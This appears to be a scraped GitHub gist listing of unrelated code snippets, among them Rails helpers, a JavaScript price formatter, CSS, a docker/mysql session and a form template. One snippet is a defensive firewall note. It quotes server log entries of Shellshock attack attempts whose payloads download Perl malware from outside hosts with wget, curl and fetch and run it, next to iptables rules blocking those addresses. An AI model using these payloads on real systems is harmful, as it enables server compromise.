This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--------------------------------------------------------------------------------------------------------- | |
# app/helpers/application_helper.rb | |
--------------------------------------------------------------------------------------------------------- | |
def horizontal_simple_form_for(record, options={}, &block) | |
options[:html] ||= {} | |
options[:html][:class] = "form-horizontal #{options[:html][:class]}".rstrip | |
options[:wrapper] = :bootstrap_horizontal | |
simple_form_for(record, options, &block) | |
end | |
--------------------------------------------------------------------------------------------------------- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# shellshock exploit | |
# 209.236.133.201 - - [02/Mar/2015:15:50:03 +0700] "GET /cgi-bin/sip.cgi HTTP/1.0" 301 178 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp ; wget http://151.236.44.210/ft.exe ; curl -O http://151.236.44.210/ft.exe;perl ft.exe;perl /var/tmp/ft.exe;perl ft.exe\x22" | |
iptables -I INPUT -s 209.236.133.201 -j DROP | |
iptables -A OUTPUT -d 151.236.44.210 -j DROP | |
# 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /fcgi-php/php HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'" | |
iptables -I INPUT -s 31.184.194.114 -j DROP | |
iptables -A OUTPUT -d 64.32.12.152 -j DROP | |
# 50.22.0.250 - - [2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function formatUSprice(amount) | |
{ | |
var i = parseFloat(amount); | |
if(isNaN(i)) { i = 0.00; } | |
var minus = ''; | |
if(i < 0) { minus = '-'; } | |
i = Math.abs(i); | |
i = parseInt((i + .005) * 100); | |
i = i / 100; | |
s = new String(i); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def autosave_associated_records_for_team | |
if team.name.blank? | |
self.team_id = 1 | |
else | |
# Find or create the team by name | |
self.team = Team.find_or_create_by_name(team.name) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ActiveRecord::Base.logger = Logger.new(STDOUT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* fix image in recaptcha */ | |
#recaptcha_area * { | |
line-height: normal; | |
} | |
#recaptcha_area #recaptcha_response_field { | |
height: 16px; | |
display: inline; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ docker-compose run app | |
Creating mysql | |
root@cd9cf6553130:/# mysql -h "$DB_PORT_3306_TCP_ADDR" -P "$DB_PORT_3306_TCP_PORT" -u "$DB_ENV_MYSQL_USER" --password="$DB_ENV_MYSQL_PASSWORD" $DB_ENV_MYSQL_DATABASE | |
mysql: [Warning] Using a password on the command line interface can be insecure. | |
Welcome to the MySQL monitor. Commands end with ; or \g. | |
Your MySQL connection id is 2 | |
Server version: 5.7.10 MySQL Community Server (GPL) | |
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%%= simple_form_for(@<%= singular_table_name %>) do |f| %> | |
<%%= f.error_notification %> | |
<div class="form-inputs"> | |
<%- attributes.each do |attribute| -%> | |
<%%= f.<%= attribute.reference? ? :association : :input %> :<%= attribute.name %> %> | |
<%- end -%> | |
</div> | |
<div class="form-actions form-group"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0f60e3e597df4f7046335005893a439d |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
625032ae295247aa27267e082f2adc8b |
OlderNewer